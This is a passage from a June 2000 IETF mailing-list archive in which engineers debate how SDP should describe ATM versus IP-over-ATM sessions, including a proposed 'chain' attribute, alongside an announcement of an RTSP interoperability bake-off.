          by zcard015.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id NQD287FF; Tue, 27 Jun 2000 10:16:54 -0400
Received: from americasm10.nt.com (pnc1d070.us.nortel.com [47.142.209.170]) 
          by zrtpd00z.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id M38DWYS3; Tue, 27 Jun 2000 10:16:53 -0400
Message-ID: <3958B753.C5296C@americasm10.nt.com>
Date: Tue, 27 Jun 2000 10:16:51 -0400
X-Sybari-Space: 00000000 00000000 00000000
From: "Sophia Scoggins" <scoggins@nortelnetworks.com>
Organization: Nortel Networks
X-Sender: "Sophia Scoggins" <scoggins@zrtpd00z>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Rajesh Kumar <rkumar@cisco.com>
CC: atmsdp@eng.fore.com, "Mark Watson" <mwatson@nortelnetworks.com>,
        msf-media@msforum.org, confctrl@ISI.EDU
Subject: Re: Scope of ATM SDP work
References: <4.1.20000623104234.00b6d8d0@wanbu-mail.cisco.com> <4.1.20000623152734.00b703a0@wanbu-mail.cisco.com> <4.1.20000626160659.00cf1d00@wanbu-mail.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Rajesh,


I still have questions on some of your answer. I am leaving for one week
of vacation. I will get back with you later on, with the paper -- it is
related to how to use SDP for different bearer capabilities (IP, ATM,
FR) in the same message.


Regards, Sophia

--------------------------------------------------
Sophia Scoggins, Ph.D.
Succession Access Architect
Nortel Networks

Rajesh Kumar wrote:
> 
> Sophia, Mark, Brian,
> 
> At 07:58 AM 6/26/00 -0400, Sophia Scoggins wrote:
> >Rajesh,
> >
> >
> >When a MG is capable of routing/switching on IP and different ATM
> >layers, then it becomes an issue of how both ends agree on which
> layer
> >to route/switch. If both ends are capable of doing ATM (and the same
> >AAL), then all the ATM parameters must be agreed upon by both MGs. In
> >that case, c=ATM is used. If we don't use c=ATM and provide necessary
> >ATM parameters, the mismatch may happen on the ATM layer setup.
> 
> The IP applications I had in mind involved no call-by-call ATM set-up,
> although ATM PVCs could be used for some or all of the IP routing
> hops. In this case, the voice call is routed at only on layer (IP) and
> the ATM connectivity is fixed.
> 
> Of course, if you want to use ATM SVCs that are mapped into an
> RSVP-based VoIP network, then what you have said is absolutely true.
> At the SDP-level, the way I see it being addressed is through multiple
> SDP descriptions (multiple v=) lines. THis is what Megaco mentions
> too: "When multiple session descriptions are provided in one
> descriptor,the "v=" lines are required as delimiters..."  There would
> be an ATM session description and an IP session description.
> 
> By its very nature, the ATM SDP  internet draft addresses ATM session
> descriptions only. My question to you, to Brian and to the rest of
> this mailing list is: Is is adequate for that? Do we need to add
> special constructs to it? I do not believe so.
> 
> On the other hand, you might want to define a way to use SDP  for IP
> to declare whether a lower layer protocol is ethernet or ATM or
> Packet-over-sonet or packet-over-lambda. For instance, you can state
> 
>         a=fmtp: <lower layer>
> 
> where <lower layer> is defined as
>            ATM | Ethernet | POS | POLambda | .....
> 
> 
> >
> >Once the ATM layer is setup, the applications on both MGs may use the
> IP
> >layer information to do further processing. In that case, the IP
> layer
> >information can either be encapsulated in the ATM payload or be
> >explicitly specified in the SDP. If an intermediate node is involved,
> we
> >usually don't like it to peek into the payload to find the
> information.
> >The needed information should be in the SDP. At the same time, we
> don't
> >want the same information be put in two places (SDP and payload),
> >either.
> >
> >The layering protocol principle is that if layer 2 get you where you
> >want to be, then don't go up to layer 3. We go up to layer 3 in the
> >situation that layer 2 protocols are different. For example, one end
> >does VOIP/ATM and the other end does VOIP/ETHERNET. Any intermediate
> >nodes can use different protocols, but that is transparent in the SDP
> >for end-to-end description.
> >
> >The question is how does the originating MG knows which layer 2
> protocol
> >the terminating MG uses? Mark Watson and I have a proposal in draft,
> >which will be submitted to ITU-T SG11 BICC/CS2, to provide a solution
> >for this type of situation. However, ITU-T SG11 may not be the right
> >group to evaluate the idea. This group or SG16 may be the right one
> for
> >discussion.
> 
> It would be great if you can share your draft with us at the right
> time. However, I am not sure if this is the right group since you're
> not looking at VoATM but VoIP via flexible lower layer selection. As I
> mentioned before, at the SDP level, this would be handled in a
> separate IP SDP descriptor, placed just next to the ATM SDP
> descriptor.
> 
> I do not want the ATM SDP work to be side-tracked at this point or in
> the Pittsburgh IETF on issues that, while being very important and
> interesting, are tangential to ATM SDP. However, I would be glad to
> review, discuss and offer suggestions on your scheme in this or in
> another forum.
> 
> Please let me know if you agree.
> 
> >Rajesh Kumar wrote:
> >>
> >> Sophia,
> >>
> >>
> >> >Do you know if VOIP/ATM will use both c=IN and c=ATM?
> >>
> >> VoIP will use c=IN regardless of whether it runs over ATM or not.
> In
> >> some cases, it might run partially over an ATM segment and
> partially
> >> over a non-ATM segment. This case should be treated in the SDP as a
> >> VoIP.
> >>
> >> c=ATM will be used when RTP is encapsulated raw over AAL5 (no IP)as
> in
> >> H.323 Annex C.
> >>
> >
> ^^^^^^^^^^^^^^^^^^^^^
> Rajesh Kumar, Ph.D.
> Technical Leader
> Carrier Packet Voice
> Cisco Systems
> San Jose, California
> ^^^^^^^^^^^^^^^^^^^^^
>  rkumar@cisco.com
> 408 527 0811
> ^^^^^^^^^^^^^^^^^^^^^
>

From confctrl-owner  Tue Jun 27 15:45:30 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id PAA09066
	for confctrl-outgoing; Tue, 27 Jun 2000 15:45:30 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA09061
	for <confctrl@zephyr.isi.edu>; Tue, 27 Jun 2000 15:45:28 -0700 (PDT)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id PAA02949
	for <confctrl@isi.edu>; Tue, 27 Jun 2000 15:46:09 -0700 (PDT)
Received: from exchange.entera.com ([206.165.109.233]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-61971U200L100S0V35)
          with ESMTP id com; Tue, 27 Jun 2000 15:44:10 -0700
Received: by exchange.entera.com with Internet Mail Service (5.5.2650.21)
	id <L85D441K>; Tue, 27 Jun 2000 15:44:30 -0700
Message-ID: <733880CDF866D3118C69005004D1701E70669F@exchange.entera.com>
From: kara@entera.com (Kara Wegener)
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Cc: Alagu Periyannan <alagu@entera.com>,
        Richard Desoto
	 <richardd@entera.com>,
        "Jeff Ayars (E-mail)" <jeffa@real.com>,
        "Rob Lanfier (E-mail)" <robla@real.com>
Subject: RTSP Bake Off
Date: Tue, 27 Jun 2000 15:44:29 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01BFE089.40FD721A"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01BFE089.40FD721A
Content-Type: text/plain;
	charset="iso-8859-1"

Hi everyone--
Entera is hosting an RTSP bake off July 24th and 25th in Fremont, CA.  We
encourage you to check out this link for all the details.  Space is limited
and participants must have working RTSP applications (RTSP Clients, Servers,
Proxies, Firewalls) and bring necessary means to fixing bugs as they are
found in the testing process. 
http://streaming.entera.com/rtsp_bakeoff.html

If you have any questions, please email me and we will get you the right
answers.  

Kara

Kara Wegener
Partner Marketing Manager
Entera, Inc.
40971 Encyclopedia Circle
Fremont, CA  94538

Direct: 510.770.5283
Fax: 510.249.9180
www.entera.com

Shaping the future of content delivery.


 <<Kara Wegener (E-mail).vcf>> 

------_=_NextPart_000_01BFE089.40FD721A
Content-Type: application/octet-stream;
	name="Kara Wegener (E-mail).vcf"
Content-Disposition: attachment;
	filename="Kara Wegener (E-mail).vcf"

BEGIN:VCARD
VERSION:2.1
N:Wegener;Kara
FN:Kara Wegener
ORG:Entera
TEL;WORK;VOICE:510 770-5283
ADR;WORK:;;40971 Encyclopedia Circle;Fremont;Ca;94538;USA
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:40971 Encyclopedia Circle=0D=0AFremont, Ca 94538=0D=0AUSA
EMAIL;PREF;INTERNET:kara@entera.com
REV:20000317T190947Z
END:VCARD

------_=_NextPart_000_01BFE089.40FD721A--

From confctrl-owner  Wed Jun 28 17:50:09 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA27424
	for confctrl-outgoing; Wed, 28 Jun 2000 17:50:09 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA27418
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jun 2000 17:50:07 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id RAA16542
	for <confctrl@ISI.EDU>; Wed, 28 Jun 2000 17:50:51 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-189.cisco.com [171.71.29.189])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id RAA03144;
	Wed, 28 Jun 2000 17:50:10 -0700 (PDT)
Message-Id: <4.1.20000628171131.00d087c0@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Wed, 28 Jun 2000 17:54:45 -0700
To: "Rosen, Brian" <Brian.Rosen@marconi.com>,
        Sophia Scoggins <scoggins@nortelnetworks.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Chaining IP and ATM descriptions
Cc: atmsdp@eng.fore.com, Mark Watson <mwatson@nortelnetworks.com>,
        msf-media@msforum.org, confctrl@ISI.EDU, mmostafa@cisco.com,
        hisham@cisco.com, ifhussai@cisco.com, rbiskner@cisco.com
In-Reply-To: <4FBEA8857476D311A03300204840E1CF6784CB@whq-msgusr-02.fore.
 com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_55558799==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_55558799==_.ALT
Content-Type: text/plain; charset="us-ascii"

At 08:36 AM 6/27/00 -0400, Rosen, Brian wrote: 
>
> Multiple session descriptions are used as alternatives in Megaco, so your
> first solution would
> be difficult to use.  


I am aware of that. However, I have an idea which I want to run by these
mailing lists before incorporating it into the draft.

How about a "chain" attribute that chains an SDP descriptor to an immediately
adjacent one (next, previous) so that it is possible to describe a connection
with an IP SDP descriptor as well as an ATM SDP descriptor. Comes in handy in a
number of scenarios such as RSVP-over-SVCs, MPLS etc.

The mechanics of how this is accomplished are trivial.
     a=chain: <pointer>
     <pointer> ::= "next"| "previous"|null

Omitting this attribute is equivalent to null.

As Brian indicated, the current concept in megaco etc. is that multiple
adjacent descriptors imply alternation rather than concatenation of SDP
descriptions. My proposal above would allow both, and would obviate the need to
create horrendously complex SDP descriptions that describe a connection that is
dynamically established at both the IP and ATM layers. Separate, clean SDP
descriptions are provided for the IP and ATM layers, IP is on top of ATM, and
these are chained using the chain attribute.


>
> I'd prefer that the solution show you the complete description, which could
> be multiple "layers".  



I strongly feel that the problems Sophia brought up is an important one and
warrants a simple, elegant solution rather than including a lot of IP
parameters into what is basically an ATM SDP description. Providing separate,
chained descriptors for the layers will keep it simple and clean.


>
> I do wonder if we are getting really complex for no good reason.


Perhaps, but we need to address the possibility of RSVP-over-SVCs, MPLS etc.
i.e cases in which there is multi-layer connection establishment.

>
> Specifically, we have a way to specify Annex C, so the real issue is a way to
> specify a full
> IP/UDP/RTP where the underlying connection is an ATM connection, and, for
> some reason,
> you have to say that specifically.  


Yes, specifying that the underlying connection is an ATM connection will work
in simple cases. As I mentioned in my last email, you just add an fmtp to the
RTP/IP description.

        a=fmtp: <lower layer>
       
        where <lower layer> is defined as ATM | Ethernet | POS | POLambda |
.....

This might not be adequate when you are trying to establish an IP and the
underlying ATM connection at the same time, and trying to link them together. I
think the chaining mechanism I described above will do the trick and will keep
the descriptions for IP and ATM separate, clean and crisp.

>
> Is that really useful - are there applications that, for example,
> want to have the MGC establish an ATM VC to a specific end point,and then run
> IP over it,



Yes, there are. RSVP over SVCs is an example. This has been discussed publicly
by several companies. Will this succeed? I don't know. We do not want to muddy
the ATM descriptor with several IP parameters, but we should be able to chain
to an IP descriptor (I think).

If I do not receive inputs to the contrary, I will incorporate the chain
attribute I mentioned above. Hope, this will not ruffle feathers in h.248 and
elsewhere. Please let me know.

>
> as opposed to using the more automatic mechanisms like LANE/MPOA and/or
> standard
> routing over an ATM infrastructure?  
>  
> Brian
>>
>> -----Original Message-----
>> From: Rajesh Kumar [mailto:rkumar@cisco.com]
>> Sent: Monday, June 26, 2000 7:39 PM
>> To: Sophia Scoggins
>> Cc: atmsdp@eng.fore.com; Mark Watson; msf-media@msforum.org;
confctrl@ISI.EDU
>> Subject: Scope of ATM SDP work
>>
>> Sophia, Mark, Brian,
>>
>> At 07:58 AM 6/26/00 -0400, Sophia Scoggins wrote:
>> >Rajesh,
>> >
>> >
>> >When a MG is capable of routing/switching on IP and different ATM
>> >layers, then it becomes an issue of how both ends agree on which layer
>> >to route/switch. If both ends are capable of doing ATM (and the same
>> >AAL), then all the ATM parameters must be agreed upon by both MGs. In
>> >that case, c=ATM is used. If we don't use c=ATM and provide necessary
>> >ATM parameters, the mismatch may happen on the ATM layer setup. 
>>
>> The IP applications I had in mind involved no call-by-call ATM set-up,
>> although ATM PVCs could be used for some or all of the IP routing hops. In
>> this case, the voice call is routed at only on layer (IP) and the ATM
>> connectivity is fixed.
>>
>> Of course, if you want to use ATM SVCs that are mapped into an RSVP-based
>> VoIP network, then what you have said is absolutely true. At the SDP-level,
>> the way I see it being addressed is through multiple SDP descriptions
>> (multiple v=) lines. THis is what Megaco mentions too: "When multiple
>> session descriptions are provided in one descriptor,the "v=" lines are
>> required as delimiters..."  There would be an ATM session description and an
>> IP session description.
>>
>> By its very nature, the ATM SDP  internet draft addresses ATM session
>> descriptions only. My question to you, to Brian and to the rest of this
>> mailing list is: Is is adequate for that? Do we need to add special
>> constructs to it? I do not believe so.
>>
>> On the other hand, you might want to define a way to use SDP  for IP to
>> declare whether a lower layer protocol is ethernet or ATM or
>> Packet-over-sonet or packet-over-lambda. For instance, you can state
>>
>>         a=fmtp: <lower layer>
>>        
>> where <lower layer> is defined as
>>            ATM | Ethernet | POS | POLambda | .....
>>
>>  
>> >
>> >Once the ATM layer is setup, the applications on both MGs may use the IP
>> >layer information to do further processing. In that case, the IP layer
>> >information can either be encapsulated in the ATM payload or be
>> >explicitly specified in the SDP. If an intermediate node is involved, we
>> >usually don't like it to peek into the payload to find the information.
>> >The needed information should be in the SDP. At the same time, we don't
>> >want the same information be put in two places (SDP and payload),
>> >either.  
>> >
>> >The layering protocol principle is that if layer 2 get you where you
>> >want to be, then don't go up to layer 3. We go up to layer 3 in the
>> >situation that layer 2 protocols are different. For example, one end
>> >does VOIP/ATM and the other end does VOIP/ETHERNET. Any intermediate
>> >nodes can use different protocols, but that is transparent in the SDP
>> >for end-to-end description.
>> >
>> >The question is how does the originating MG knows which layer 2 protocol
>> >the terminating MG uses? Mark Watson and I have a proposal in draft,
>> >which will be submitted to ITU-T SG11 BICC/CS2, to provide a solution
>> >for this type of situation. However, ITU-T SG11 may not be the right
>> >group to evaluate the idea. This group or SG16 may be the right one for
>> >discussion.
>>
>> It would be great if you can share your draft with us at the right time.
>> However, I am not sure if this is the right group since you're not looking
>> at VoATM but VoIP via flexible lower layer selection. As I mentioned before,
>> at the SDP level, this would be handled in a separate IP SDP descriptor,
>> placed just next to the ATM SDP descriptor.
>>
>> I do not want the ATM SDP work to be side-tracked at this point or in the
>> Pittsburgh IETF on issues that, while being very important and interesting,
>> are tangential to ATM SDP. However, I would be glad to review, discuss and
>> offer suggestions on your scheme in this or in another forum.
>>
>> Please let me know if you agree.
>>  
>> >Rajesh Kumar wrote:
>> >> 
>> >> Sophia,
>> >> 
>> >> 
>> >> >Do you know if VOIP/ATM will use both c=IN and c=ATM?
>> >> 
>> >> VoIP will use c=IN regardless of whether it runs over ATM or not. In
>> >> some cases, it might run partially over an ATM segment and partially
>> >> over a non-ATM segment. This case should be treated in the SDP as a
>> >> VoIP.
>> >> 
>> >> c=ATM will be used when RTP is encapsulated raw over AAL5 (no IP)as in
>> >> H.323 Annex C.
>> >> 
>> > 
>> ^^^^^^^^^^^^^^^^^^^^^
>> Rajesh Kumar, Ph.D.
>> Technical Leader        
>> Carrier Packet Voice
>> Cisco Systems
>> San Jose, California
>> ^^^^^^^^^^^^^^^^^^^^^
>>  rkumar@cisco.com                 
>> 408 527 0811                
>> ^^^^^^^^^^^^^^^^^^^^^
>>  
>



^^^^^^^^^^^^^^^^^^^^^
Rajesh Kumar, Ph.D.
Technical Leader        
Carrier Packet Voice
Cisco Systems
San Jose, California
^^^^^^^^^^^^^^^^^^^^^
 rkumar@cisco.com                 
408 527 0811                
^^^^^^^^^^^^^^^^^^^^^
 

--=====================_55558799==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
At 08:36 AM 6/27/00 -0400, Rosen, Brian wrote: <br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>Multiple
session descriptions are used as alternatives in Megaco, so your first
solution would</font><br>
be difficult to use.&nbsp; </blockquote><br>
I am aware of that. However, I have an idea which I want to run by these
mailing lists before incorporating it into the draft.<br>
<br>
How about a &quot;chain&quot; attribute that chains an SDP descriptor to
an immediately adjacent one (next, previous) so that it is possible to
describe a connection with an IP SDP descriptor as well as an ATM SDP
descriptor. Comes in handy in a number of scenarios such as
RSVP-over-SVCs, MPLS etc.<br>
<br>
The mechanics of how this is accomplished are trivial.<br>
&nbsp;&nbsp;&nbsp;&nbsp; a=chain: &lt;pointer&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp; &lt;pointer&gt; ::= &quot;next&quot;|
&quot;previous&quot;|null<br>
<br>
Omitting this attribute is equivalent to null.<br>
<br>
As Brian indicated, the current concept in megaco etc. is that multiple
adjacent descriptors imply alternation rather than concatenation of SDP
descriptions. My proposal above would allow both, and would obviate the
need to create horrendously complex SDP descriptions that describe a
connection that is dynamically established at both the IP and ATM layers.
Separate, clean SDP descriptions are provided for the IP and ATM layers,
IP is on top of ATM, and these are chained using the chain
attribute.<br>
<br>
<br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>I'd
prefer that the solution show you the complete description, which
could</font><br>
be multiple &quot;layers&quot;.&nbsp; </blockquote><br>
<br>
I strongly feel that the problems Sophia brought up is an important one
and warrants a simple, elegant solution rather than including a lot of IP
parameters into what is basically an ATM SDP description. Providing
separate, chained descriptors for the layers will keep it simple and
clean.<br>
<br>
<br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>I do
wonder if we are getting really complex for no good
reason.</font></blockquote><br>
Perhaps, but we need to address the possibility of RSVP-over-SVCs, MPLS
etc. i.e cases in which there is multi-layer connection
establishment.<br>
<br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>Specifically,
we have a way to specify Annex C, so the real issue is a way to specify a
full</font><br>
IP/UDP/RTP where the underlying connection is an ATM connection, and, for
some reason,<br>
you have to say that specifically.&nbsp; </blockquote><br>
Yes, specifying that the underlying connection is an ATM connection will
work in simple cases. As I mentioned in my last email, you just add an
fmtp to the RTP/IP description.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>a=fmtp:
&lt;lower layer&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>where
&lt;lower layer&gt; is defined as ATM | Ethernet | POS | POLambda |
.....<br>
<br>
This might not be adequate when you are trying to establish an IP and the
underlying ATM connection at the same time, and trying to link them
together. I think the chaining mechanism I described above will do the
trick and will keep the descriptions for IP and ATM separate, clean and
crisp.<br>
<br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>Is
that really useful - are there applications that, for
example,</font><br>
want to have the MGC establish an ATM VC to a specific end point,and then
run IP over it,</blockquote><br>
<br>
Yes, there are. RSVP over SVCs is an example. This has been discussed
publicly by several companies. Will this succeed? I don't know. We do not
want to muddy the ATM descriptor with several IP parameters, but we
should be able to chain to an IP descriptor (I think).<br>
<br>
If I do not receive inputs to the contrary, I will incorporate the chain
attribute I mentioned above. Hope, this will not ruffle feathers in h.248
and elsewhere. Please let me know.<br>
<br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>as
opposed to using the more automatic mechanisms like LANE/MPOA and/or
standard</font><br>
routing over an ATM infrastructure?&nbsp; <br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">Brian</font><br>
<font face="tahoma" size=2><blockquote type=cite cite>-----Original
Message-----<br>
<b>From:</b> Rajesh Kumar
[<a href="mailto:rkumar@cisco.com" eudora="autourl">mailto:rkumar@cisco.com</a>]<br>
<b>Sent:</b> Monday, June 26, 2000 7:39 PM<br>
<b>To:</b> Sophia Scoggins<br>
<b>Cc:</b> atmsdp@eng.fore.com; Mark Watson; msf-media@msforum.org;
confctrl@ISI.EDU<br>
<b>Subject:</b> Scope of ATM SDP work<br>
<br>
</font>Sophia, Mark, Brian,<br>
<br>
At 07:58 AM 6/26/00 -0400, Sophia Scoggins wrote:<br>
&gt;Rajesh,<br>
&gt;<br>
&gt;<br>
&gt;When a MG is capable of routing/switching on IP and different
ATM<br>
&gt;layers, then it becomes an issue of how both ends agree on which
layer<br>
&gt;to route/switch. If both ends are capable of doing ATM (and the
same<br>
&gt;AAL), then all the ATM parameters must be agreed upon by both MGs.
In<br>
&gt;that case, c=ATM is used. If we don't use c=ATM and provide
necessary<br>
&gt;ATM parameters, the mismatch may happen on the ATM layer setup. 
<br>
<br>
<font color="#FF0000">The IP applications I had in mind involved no
call-by-call ATM set-up, although ATM PVCs could be used for some or all
of the IP routing hops. In this case, the voice call is routed at only on
layer (IP) and the ATM connectivity is fixed.<br>
<br>
Of course, if you want to use ATM SVCs that are mapped into an RSVP-based
VoIP network, then what you have said is absolutely true. At the
SDP-level, the way I see it being addressed is through multiple SDP
descriptions (multiple v=) lines. THis is what Megaco mentions too:
&quot;When multiple session descriptions are provided in one
descriptor,the &quot;v=&quot; lines are required as
delimiters...&quot;&nbsp; There would be an ATM session description and
an IP session description.<br>
<br>
By its very nature, the ATM SDP&nbsp; internet draft addresses ATM
session descriptions only. My question to you, to Brian and to the rest
of this mailing list is: Is is adequate for that? Do we need to add
special constructs to it? I do not believe so.<br>
<br>
On the other hand, you might want to define a way to use SDP&nbsp; for IP
to declare whether a lower layer protocol is ethernet or ATM or
Packet-over-sonet or packet-over-lambda. For instance, you can 
state<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>a=fmtp:
&lt;lower layer&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
where &lt;lower layer&gt; is defined as<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ATM |
Ethernet | POS | POLambda | .....<br>
<br>
</font>&nbsp;<br>
&gt;<br>
&gt;Once the ATM layer is setup, the applications on both MGs may use the
IP<br>
&gt;layer information to do further processing. In that case, the IP
layer<br>
&gt;information can either be encapsulated in the ATM payload or be<br>
&gt;explicitly specified in the SDP. If an intermediate node is involved,
we<br>
&gt;usually don't like it to peek into the payload to find the
information.<br>
&gt;The needed information should be in the SDP. At the same time, we
don't<br>
&gt;want the same information be put in two places (SDP and
payload),<br>
&gt;either.&nbsp; <br>
&gt;<br>
&gt;The layering protocol principle is that if layer 2 get you where
you<br>
&gt;want to be, then don't go up to layer 3. We go up to layer 3 in
the<br>
&gt;situation that layer 2 protocols are different. For example, one
end<br>
&gt;does VOIP/ATM and the other end does VOIP/ETHERNET. Any
intermediate<br>
&gt;nodes can use different protocols, but that is transparent in the
SDP<br>
&gt;for end-to-end description.<br>
&gt;<br>
&gt;The question is how does the originating MG knows which layer 2
protocol<br>
&gt;the terminating MG uses? Mark Watson and I have a proposal in
draft,<br>
&gt;which will be submitted to ITU-T SG11 BICC/CS2, to provide a
solution<br>
&gt;for this type of situation. However, ITU-T SG11 may not be the
right<br>
&gt;group to evaluate the idea. This group or SG16 may be the right one
for<br>
&gt;discussion.<br>
<br>
<font color="#FF0000">It would be great if you can share your draft with
us at the right time. However, I am not sure if this is the right group
since you're not looking at VoATM but VoIP via flexible lower layer
selection. As I mentioned before, at the SDP level, this would be handled
in a separate IP SDP descriptor, placed just next to the ATM SDP
descriptor.<br>
<br>
I do not want the ATM SDP work to be side-tracked at this point or in the
Pittsburgh IETF on issues that, while being very important and
interesting, are tangential to ATM SDP. However, I would be glad to
review, discuss and offer suggestions on your scheme in this or in
another forum.<br>
<br>
Please let me know if you agree.<br>
</font>&nbsp;<br>
&gt;Rajesh Kumar wrote:<br>
&gt;&gt; <br>
&gt;&gt; Sophia,<br>
&gt;&gt; <br>
&gt;&gt; <br>
&gt;&gt; &gt;Do you know if VOIP/ATM will use both c=IN and c=ATM?<br>
&gt;&gt; <br>
&gt;&gt; VoIP will use c=IN regardless of whether it runs over ATM or
not. In<br>
&gt;&gt; some cases, it might run partially over an ATM segment and
partially<br>
&gt;&gt; over a non-ATM segment. This case should be treated in the SDP
as a<br>
&gt;&gt; VoIP.<br>
&gt;&gt; <br>
&gt;&gt; c=ATM will be used when RTP is encapsulated raw over AAL5 (no
IP)as in<br>
&gt;&gt; H.323 Annex C.<br>
&gt;&gt; <br>
&gt; <br>
<font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><b>Rajesh Kumar, Ph.D.<br>
</b><font face="Arial, Helvetica" size=2 color="#800000">Technical
Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
Carrier Packet Voice<br>
Cisco Systems<br>
San Jose, California<br>
</font><font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="haettenschweiler" size=4 color="#800000">&nbsp;rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811</font><font face="Times New Roman, Times" size=2 color="#800000"><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="garamond" color="#800000"><i>&nbsp;</font></i></blockquote></blockquote><br>
</i><br>

<font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Comic Sans MS" size=2 color="#800000"><b>Rajesh Kumar,
Ph.D.<br>
</font></b><font face="Arial, Helvetica" size=2 color="#800000">Technical
Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
Carrier Packet Voice<br>
Cisco Systems<br>
San Jose, California<br>
</font><font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Haettenschweiler" size=4 color="#800000">&nbsp;rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811</font><font face="Times New Roman, Times" size=2 color="#800000"><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_55558799==_.ALT--


From confctrl-owner  Thu Jun 29 14:57:21 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA29730
	for confctrl-outgoing; Thu, 29 Jun 2000 14:57:21 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA29725
	for <confctrl@zephyr.isi.edu>; Thu, 29 Jun 2000 14:57:19 -0700 (PDT)
Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id OAA10622
	for <confctrl@ISI.EDU>; Thu, 29 Jun 2000 14:58:01 -0700 (PDT)
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA07753;
	Thu, 29 Jun 2000 17:57:27 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA13088;
	Thu, 29 Jun 2000 17:57:28 -0400 (EDT)
